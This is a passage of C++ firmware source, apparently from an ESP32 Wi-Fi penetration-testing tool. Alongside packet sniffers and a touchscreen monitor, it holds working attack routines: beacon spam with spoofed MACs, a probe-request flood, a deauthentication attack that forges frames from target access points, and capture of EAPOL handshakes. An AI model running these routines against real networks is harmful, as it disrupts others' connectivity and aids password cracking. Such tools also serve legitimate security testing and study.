  1342. Serial.print((char)snifferPacket->payload[26 + i]);
  1343. display_string.concat((char)snifferPacket->payload[26 + i]);
  1344. }
  1345. // Print spaces because of the rotating lines of the hardware scroll.
  1346. // The same characters print from previous lines so I just overwrite them
  1347. // with spaces.
  1348. #ifdef HAS_SCREEN
  1349. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1350. {
  1351. display_string.concat(" ");
  1352. }
  1353. if (display_obj.display_buffer->size() == 0)
  1354. {
  1355. //while (display_obj.printing)
  1356. // delay(1);
  1357. display_obj.loading = true;
  1358. display_obj.display_buffer->add(display_string);
  1359. display_obj.loading = false;
  1360. }
  1361. #endif
  1362. Serial.println();
  1363. if (save_packet)
  1364. sd_obj.addPacket(snifferPacket->payload, len);
  1365. }
  1366. }
  1367. }
  1368. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1369. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1370. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1371. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1372. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1373. int len = snifferPacket->rx_ctrl.sig_len;
  1374. String display_string = "";
  1375. String essid = "";
  1376. bool found = false;
  1377. if (type == WIFI_PKT_MGMT)
  1378. {
  1379. len -= 4;
  1380. int fctl = ntohs(frameControl->fctl);
  1381. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1382. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1383. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1384. #ifdef HAS_SCREEN
  1385. int buf = display_obj.display_buffer->size();
  1386. #else
  1387. int buf = 0;
  1388. #endif
  1389. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1390. {
  1391. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1392. {
  1393. essid.concat((char)snifferPacket->payload[26 + i]);
  1394. }
  1395. for (int i = 0; i < ssids->size(); i++) {
  1396. if (ssids->get(i).essid == essid) {
  1397. Serial.println("Found a sheep");
  1398. found = true;
  1399. break;
  1400. }
  1401. }
  1402. if (!found)
  1403. return;
  1404. delay(random(0, 10));
  1405. Serial.print("RSSI: ");
  1406. Serial.print(snifferPacket->rx_ctrl.rssi);
  1407. Serial.print(" Ch: ");
  1408. Serial.print(snifferPacket->rx_ctrl.channel);
  1409. Serial.print(" Client: ");
  1410. char addr[] = "00:00:00:00:00:00";
  1411. getMAC(addr, snifferPacket->payload, 10);
  1412. Serial.print(addr);
  1413. display_string.concat(addr);
  1414. Serial.print(" Requesting: ");
  1415. display_string.concat(" -> ");
  1416. // ESSID
  1417. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1418. {
  1419. Serial.print((char)snifferPacket->payload[26 + i]);
  1420. display_string.concat((char)snifferPacket->payload[26 + i]);
  1421. }
  1422. // Print spaces because of the rotating lines of the hardware scroll.
  1423. // The same characters print from previous lines so I just overwrite them
  1424. // with spaces.
  1425. #ifdef HAS_SCREEN
  1426. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1427. {
  1428. display_string.concat(" ");
  1429. }
  1430. if (display_obj.display_buffer->size() == 0)
  1431. {
  1432. display_obj.loading = true;
  1433. display_obj.display_buffer->add(display_string);
  1434. display_obj.loading = false;
  1435. }
  1436. #endif
  1437. Serial.println();
  1438. if (save_packet)
  1439. sd_obj.addPacket(snifferPacket->payload, len);
  1440. }
  1441. }
  1442. }
  1443. /*
  1444. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1445. set_channel = random(1,12);
  1446. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1447. delay(1);
  1448. // Randomize SRC MAC
  1449. packet[10] = packet[16] = custom_ssid.bssid[0];
  1450. packet[11] = packet[17] = custom_ssid.bssid[1];
  1451. packet[12] = packet[18] = custom_ssid.bssid[2];
  1452. packet[13] = packet[19] = custom_ssid.bssid[3];
  1453. packet[14] = packet[20] = custom_ssid.bssid[4];
  1454. packet[15] = packet[21] = custom_ssid.bssid[5];
  1455. char ESSID[custom_ssid.essid.length() + 1] = {};
  1456. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1457. }*/
  1458. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1459. set_channel = random(1,12);
  1460. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1461. delay(1);
  1462. // Randomize SRC MAC
  1463. packet[10] = packet[16] = random(256);
  1464. packet[11] = packet[17] = random(256);
  1465. packet[12] = packet[18] = random(256);
  1466. packet[13] = packet[19] = random(256);
  1467. packet[14] = packet[20] = random(256);
  1468. packet[15] = packet[21] = random(256);
  1469. char ESSID[custom_ssid.essid.length() + 1] = {};
  1470. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1471. int ssidLen = strlen(ESSID);
  1472. //int rand_len = sizeof(rand_reg);
  1473. int fullLen = ssidLen;
  1474. packet[37] = fullLen;
  1475. // Insert my tag
  1476. for(int i = 0; i < ssidLen; i++)
  1477. packet[38 + i] = ESSID[i];
  1478. /////////////////////////////
  1479. packet[50 + fullLen] = set_channel;
  1480. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1481. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1482. // Add everything that goes after the SSID
  1483. for(int i = 0; i < 12; i++)
  1484. packet[38 + fullLen + i] = postSSID[i];
  1485. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1486. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1487. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1488. packets_sent = packets_sent + 3;
  1489. }
  1490. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1491. set_channel = random(1,12);
  1492. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1493. delay(1);
  1494. // Randomize SRC MAC
  1495. packet[10] = packet[16] = custom_ssid.bssid[0];
  1496. packet[11] = packet[17] = custom_ssid.bssid[1];
  1497. packet[12] = packet[18] = custom_ssid.bssid[2];
  1498. packet[13] = packet[19] = custom_ssid.bssid[3];
  1499. packet[14] = packet[20] = custom_ssid.bssid[4];
  1500. packet[15] = packet[21] = custom_ssid.bssid[5];
  1501. char ESSID[custom_ssid.essid.length() + 1] = {};
  1502. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1503. int ssidLen = strlen(ESSID);
  1504. //int rand_len = sizeof(rand_reg);
  1505. int fullLen = ssidLen;
  1506. packet[37] = fullLen;
  1507. // Insert my tag
  1508. for(int i = 0; i < ssidLen; i++)
  1509. packet[38 + i] = ESSID[i];
  1510. /////////////////////////////
  1511. packet[50 + fullLen] = set_channel;
  1512. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1513. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1514. // Add everything that goes after the SSID
  1515. for(int i = 0; i < 12; i++)
  1516. packet[38 + fullLen + i] = postSSID[i];
  1517. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1518. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1519. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1520. packets_sent = packets_sent + 3;
  1521. }
  1522. // Function to send beacons with random ESSID length
  1523. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1524. set_channel = random(1,12);
  1525. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1526. delay(1);
  1527. // Randomize SRC MAC
  1528. packet[10] = packet[16] = random(256);
  1529. packet[11] = packet[17] = random(256);
  1530. packet[12] = packet[18] = random(256);
  1531. packet[13] = packet[19] = random(256);
  1532. packet[14] = packet[20] = random(256);
  1533. packet[15] = packet[21] = random(256);
  1534. int ssidLen = strlen(ESSID);
  1535. //int rand_len = sizeof(rand_reg);
  1536. int fullLen = ssidLen;
  1537. packet[37] = fullLen;
  1538. // Insert my tag
  1539. for(int i = 0; i < ssidLen; i++)
  1540. packet[38 + i] = ESSID[i];
  1541. /////////////////////////////
  1542. packet[50 + fullLen] = set_channel;
  1543. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1544. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1545. // Add everything that goes after the SSID
  1546. for(int i = 0; i < 12; i++)
  1547. packet[38 + fullLen + i] = postSSID[i];
  1548. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1549. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1550. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1551. packets_sent = packets_sent + 3;
  1552. }
  1553. // Function for sending crafted beacon frames
  1554. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1555. set_channel = random(1,12);
  1556. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1557. delay(1);
  1558. // Randomize SRC MAC
  1559. packet[10] = packet[16] = random(256);
  1560. packet[11] = packet[17] = random(256);
  1561. packet[12] = packet[18] = random(256);
  1562. packet[13] = packet[19] = random(256);
  1563. packet[14] = packet[20] = random(256);
  1564. packet[15] = packet[21] = random(256);
  1565. packet[37] = 6;
  1566. // Randomize SSID (Fixed size 6. Lazy right?)
  1567. packet[38] = alfa[random(65)];
  1568. packet[39] = alfa[random(65)];
  1569. packet[40] = alfa[random(65)];
  1570. packet[41] = alfa[random(65)];
  1571. packet[42] = alfa[random(65)];
  1572. packet[43] = alfa[random(65)];
  1573. packet[56] = set_channel;
  1574. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1575. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1576. // Add everything that goes after the SSID
  1577. for(int i = 0; i < 12; i++)
  1578. packet[38 + 6 + i] = postSSID[i];
  1579. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1580. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1581. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1582. packets_sent = packets_sent + 3;
  1583. }
  1584. // Function to send probe flood to all "active" access points
  1585. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1586. // Itterate through all access points in list
  1587. for (int i = 0; i < access_points->size(); i++) {
  1588. // Check if active
  1589. if (access_points->get(i).selected) {
  1590. this->set_channel = access_points->get(i).channel;
  1591. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1592. delay(1);
  1593. // Build packet
  1594. // Randomize SRC MAC
  1595. prob_req_packet[10] = random(256);
  1596. prob_req_packet[11] = random(256);
  1597. prob_req_packet[12] = random(256);
  1598. prob_req_packet[13] = random(256);
  1599. prob_req_packet[14] = random(256);
  1600. prob_req_packet[15] = random(256);
  1601. // Set SSID length
  1602. int ssidLen = access_points->get(i).essid.length();
  1603. //int rand_len = sizeof(rand_reg);
  1604. int fullLen = ssidLen;
  1605. prob_req_packet[25] = fullLen;
  1606. // Insert ESSID
  1607. char buf[access_points->get(i).essid.length() + 1] = {};
  1608. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1609. for(int i = 0; i < ssidLen; i++)
  1610. prob_req_packet[26 + i] = buf[i];
  1611. /*
  1612. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1613. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1614. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1615. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1616. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1617. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1618. 0x00, 0x00
  1619. */
  1620. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1621. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1622. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1623. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1624. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1625. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1626. 0x00, 0x00, 0x00, 0x00};
  1627. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1628. for (int i = 0; i < 26 + fullLen; i++)
  1629. good_probe_req_packet[i] = prob_req_packet[i];
  1630. for(int i = 0; i < 40; i++)
  1631. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1632. // Send packet
  1633. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1634. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1635. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1636. packets_sent = packets_sent + 3;
  1637. }
  1638. }
  1639. }
  1640. void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
  1641. // Itterate through all access points in list
  1642. for (int i = 0; i < access_points->size(); i++) {
  1643. // Check if active
  1644. if (access_points->get(i).selected) {
  1645. this->set_channel = access_points->get(i).channel;
  1646. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1647. delay(1);
  1648. // Build packet
  1649. deauth_frame_default[10] = access_points->get(i).bssid[0];
  1650. deauth_frame_default[11] = access_points->get(i).bssid[1];
  1651. deauth_frame_default[12] = access_points->get(i).bssid[2];
  1652. deauth_frame_default[13] = access_points->get(i).bssid[3];
  1653. deauth_frame_default[14] = access_points->get(i).bssid[4];
  1654. deauth_frame_default[15] = access_points->get(i).bssid[5];
  1655. deauth_frame_default[16] = access_points->get(i).bssid[0];
  1656. deauth_frame_default[17] = access_points->get(i).bssid[1];
  1657. deauth_frame_default[18] = access_points->get(i).bssid[2];
  1658. deauth_frame_default[19] = access_points->get(i).bssid[3];
  1659. deauth_frame_default[20] = access_points->get(i).bssid[4];
  1660. deauth_frame_default[21] = access_points->get(i).bssid[5];
  1661. // Send packet
  1662. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1663. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1664. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1665. packets_sent = packets_sent + 3;
  1666. }
  1667. }
  1668. }
  1669. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1670. {
  1671. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1672. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1673. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1674. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1675. int len = snifferPacket->rx_ctrl.sig_len;
  1676. if (type == WIFI_PKT_MGMT)
  1677. {
  1678. len -= 4;
  1679. int fctl = ntohs(frameControl->fctl);
  1680. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1681. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1682. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1683. if (snifferPacket->payload[0] == 0x80)
  1684. {
  1685. num_beacon++;
  1686. }
  1687. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  1688. {
  1689. num_deauth++;
  1690. }
  1691. else if (snifferPacket->payload[0] == 0x40)
  1692. {
  1693. num_probe++;
  1694. }
  1695. if (save_packet)
  1696. sd_obj.addPacket(snifferPacket->payload, len);
  1697. }
  1698. }
  1699. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1700. {
  1701. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1702. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1703. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1704. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1705. int len = snifferPacket->rx_ctrl.sig_len;
  1706. if (type == WIFI_PKT_MGMT)
  1707. {
  1708. len -= 4;
  1709. int fctl = ntohs(frameControl->fctl);
  1710. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1711. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1712. }
  1713. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  1714. num_eapol++;
  1715. Serial.println("Received EAPOL:");
  1716. for (int i = 0; i < len; i++) {
  1717. char hexCar[4];
  1718. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  1719. Serial.print(hexCar);
  1720. //Serial.print(snifferPacket->payload[i], HEX);
  1721. if ((i + 1) % 16 == 0)
  1722. Serial.print("\n");
  1723. else
  1724. Serial.print(" ");
  1725. }
  1726. Serial.print("\n");
  1727. }
  1728. if (save_packet)
  1729. sd_obj.addPacket(snifferPacket->payload, len);
  1730. }
  1731. #ifdef HAS_SCREEN
  1732. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  1733. {
  1734. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  1735. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  1736. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  1737. {
  1738. currentTime = millis();
  1739. do_break = false;
  1740. y_pos_x = 0;
  1741. y_pos_y = 0;
  1742. y_pos_z = 0;
  1743. boolean pressed = false;
  1744. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  1745. // Do the touch stuff
  1746. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  1747. if (pressed) {
  1748. Serial.print("Got touch | X: ");
  1749. Serial.print(t_x);
  1750. Serial.print(" Y: ");
  1751. Serial.println(t_y);
  1752. }
  1753. // Check buttons for presses
  1754. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  1755. {
  1756. if (pressed && display_obj.key[b].contains(t_x, t_y))
  1757. {
  1758. display_obj.key[b].press(true);
  1759. } else {
  1760. display_obj.key[b].press(false);
  1761. }
  1762. }
  1763. // Which buttons pressed
  1764. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  1765. {
  1766. if (display_obj.key[b].justPressed())
  1767. {
  1768. Serial.println("Bro, key pressed");
  1769. //do_break = true;
  1770. }
  1771. if (display_obj.key[b].justReleased())
  1772. {
  1773. do_break = true;
  1774. // Channel - button pressed
  1775. if (b == 4) {
  1776. if (set_channel > 1) {
  1777. Serial.println("Shit channel down");
  1778. set_channel--;
  1779. delay(70);
  1780. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1781. //display_obj.tftDrawXScaleButtons(x_scale);
  1782. //display_obj.tftDrawYScaleButtons(y_scale);
  1783. display_obj.tftDrawChannelScaleButtons(set_channel);
  1784. display_obj.tftDrawExitScaleButtons();
  1785. changeChannel();
  1786. break;
  1787. }
  1788. }
  1789. // Channel + button pressed
  1790. else if (b == 5) {
  1791. if (set_channel < MAX_CHANNEL) {
  1792. Serial.println("Shit channel up");
  1793. set_channel++;
  1794. delay(70);
  1795. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1796. //display_obj.tftDrawXScaleButtons(x_scale);
  1797. //display_obj.tftDrawYScaleButtons(y_scale);
  1798. display_obj.tftDrawChannelScaleButtons(set_channel);
  1799. display_obj.tftDrawExitScaleButtons();
  1800. changeChannel();
  1801. break;
  1802. }
  1803. }
  1804. else if (b == 6) {
  1805. Serial.println("Exiting packet monitor...");
  1806. this->StartScan(WIFI_SCAN_OFF);
  1807. //display_obj.tft.init();
  1808. this->orient_display = true;
  1809. return;
  1810. }
  1811. }
  1812. }
  1813. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  1814. //Serial.println("-----------------------------------------");
  1815. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  1816. x_pos += x_scale;
  1817. initTime = millis();
  1818. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  1819. if (y_pos_x >= HEIGHT_1) {
  1820. Serial.println("Max EAPOL number reached. Adjusting...");
  1821. num_eapol = 0;
  1822. }
  1823. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  1824. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  1825. //Serial.println("num_beacon: " + (String)num_beacon);
  1826. //Serial.println("num_deauth: " + (String)num_deauth);
  1827. //Serial.println(" num_probe: " + (String)num_probe);
  1828. //num_beacon = 0;
  1829. //num_probe = 0;
  1830. //num_deauth = 0;
  1831. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  1832. //Plot "X" value
  1833. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  1834. //Plot "Z" value
  1835. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  1836. //Plot "Y" value
  1837. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  1838. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  1839. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  1840. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  1841. {
  1842. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  1843. }
  1844. else
  1845. {
  1846. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  1847. }
  1848. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  1849. //if (x_pos <= 90)
  1850. if (x_pos < 0) // below x axis
  1851. {
  1852. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  1853. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  1854. }
  1855. else
  1856. {
  1857. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  1858. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  1859. }
  1860. //tftDisplayTime();
  1861. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  1862. {
  1863. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  1864. }
  1865. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  1866. //y_pos_y_old = y_pos_y;
  1867. //y_pos_z_old = y_pos_z;
  1868. //delay(50);
  1869. }
  1870. sd_obj.main();
  1871. }
  1872. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  1873. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  1874. display_obj.tftDrawChannelScaleButtons(set_channel);
  1875. display_obj.tftDrawExitScaleButtons();
  1876. display_obj.tftDrawEapolColorKey();
  1877. display_obj.tftDrawGraphObjects(x_scale);
  1878. }
  1879. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  1880. {
  1881. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  1882. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  1883. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  1884. {
  1885. currentTime = millis();
  1886. do_break = false;
  1887. y_pos_x = 0;
  1888. y_pos_y = 0;
  1889. y_pos_z = 0;
  1890. boolean pressed = false;
  1891. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  1892. // Do the touch stuff
  1893. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  1894. if (pressed) {
  1895. Serial.print("Got touch | X: ");
  1896. Serial.print(t_x);
  1897. Serial.print(" Y: ");
  1898. Serial.println(t_y);
  1899. }
  1900. // Check buttons for presses
  1901. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  1902. {
  1903. if (pressed && display_obj.key[b].contains(t_x, t_y))
  1904. {
  1905. display_obj.key[b].press(true);
  1906. } else {
  1907. display_obj.key[b].press(false);
  1908. }
  1909. }
  1910. // Which buttons pressed
  1911. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  1912. {
  1913. if (display_obj.key[b].justPressed())
  1914. {
  1915. Serial.println("Bro, key pressed");
  1916. //do_break = true;
  1917. }
  1918. if (display_obj.key[b].justReleased())
  1919. {
  1920. do_break = true;
  1921. // X - button pressed
  1922. if (b == 0) {
  1923. if (x_scale > 1) {
  1924. x_scale--;
  1925. delay(70);
  1926. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1927. display_obj.tftDrawXScaleButtons(x_scale);
  1928. display_obj.tftDrawYScaleButtons(y_scale);
  1929. display_obj.tftDrawChannelScaleButtons(set_channel);
  1930. display_obj.tftDrawExitScaleButtons();
  1931. break;
  1932. }
  1933. }
  1934. // X + button pressed
  1935. else if (b == 1) {
  1936. if (x_scale < 6) {
  1937. x_scale++;
  1938. delay(70);
  1939. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1940. display_obj.tftDrawXScaleButtons(x_scale);
  1941. display_obj.tftDrawYScaleButtons(y_scale);
  1942. display_obj.tftDrawChannelScaleButtons(set_channel);
  1943. display_obj.tftDrawExitScaleButtons();
  1944. break;
  1945. }
  1946. }
  1947. // Y - button pressed
  1948. else if (b == 2) {
  1949. if (y_scale > 1) {
  1950. y_scale--;
  1951. delay(70);
  1952. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1953. display_obj.tftDrawXScaleButtons(x_scale);
  1954. display_obj.tftDrawYScaleButtons(y_scale);
  1955. display_obj.tftDrawChannelScaleButtons(set_channel);
  1956. display_obj.tftDrawExitScaleButtons();
  1957. //updateMidway();
  1958. break;
  1959. }
  1960. }
  1961. // Y + button pressed
  1962. else if (b == 3) {
  1963. if (y_scale < 9) {
  1964. y_scale++;
  1965. delay(70);
  1966. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1967. display_obj.tftDrawXScaleButtons(x_scale);
  1968. display_obj.tftDrawYScaleButtons(y_scale);
  1969. display_obj.tftDrawChannelScaleButtons(set_channel);
  1970. display_obj.tftDrawExitScaleButtons();
  1971. //updateMidway();
  1972. break;
  1973. }
  1974. }
  1975. // Channel - button pressed
  1976. else if (b == 4) {
  1977. if (set_channel > 1) {
  1978. Serial.println("Shit channel down");
  1979. set_channel--;
  1980. delay(70);
  1981. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1982. display_obj.tftDrawXScaleButtons(x_scale);
  1983. display_obj.tftDrawYScaleButtons(y_scale);
  1984. display_obj.tftDrawChannelScaleButtons(set_channel);
  1985. display_obj.tftDrawExitScaleButtons();
  1986. changeChannel();
  1987. break;
  1988. }
  1989. }
  1990. // Channel + button pressed
  1991. else if (b == 5) {
  1992. if (set_channel < MAX_CHANNEL) {
  1993. Serial.println("Shit channel up");
  1994. set_channel++;
  1995. delay(70);
  1996. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1997. display_obj.tftDrawXScaleButtons(x_scale);
  1998. display_obj.tftDrawYScaleButtons(y_scale);
  1999. display_obj.tftDrawChannelScaleButtons(set_channel);
  2000. display_obj.tftDrawExitScaleButtons();
  2001. changeChannel();
  2002. break;
  2003. }
  2004. }
  2005. else if (b == 6) {
  2006. Serial.println("Exiting packet monitor...");
  2007. this->StartScan(WIFI_SCAN_OFF);
  2008. //display_obj.tft.init();
  2009. this->orient_display = true;
  2010. return;
  2011. }
  2012. }
  2013. }
  2014. if (currentTime - initTime >= GRAPH_REFRESH) {
  2015. //Serial.println("-----------------------------------------");
  2016. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2017. x_pos += x_scale;
  2018. initTime = millis();
  2019. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2020. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2021. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
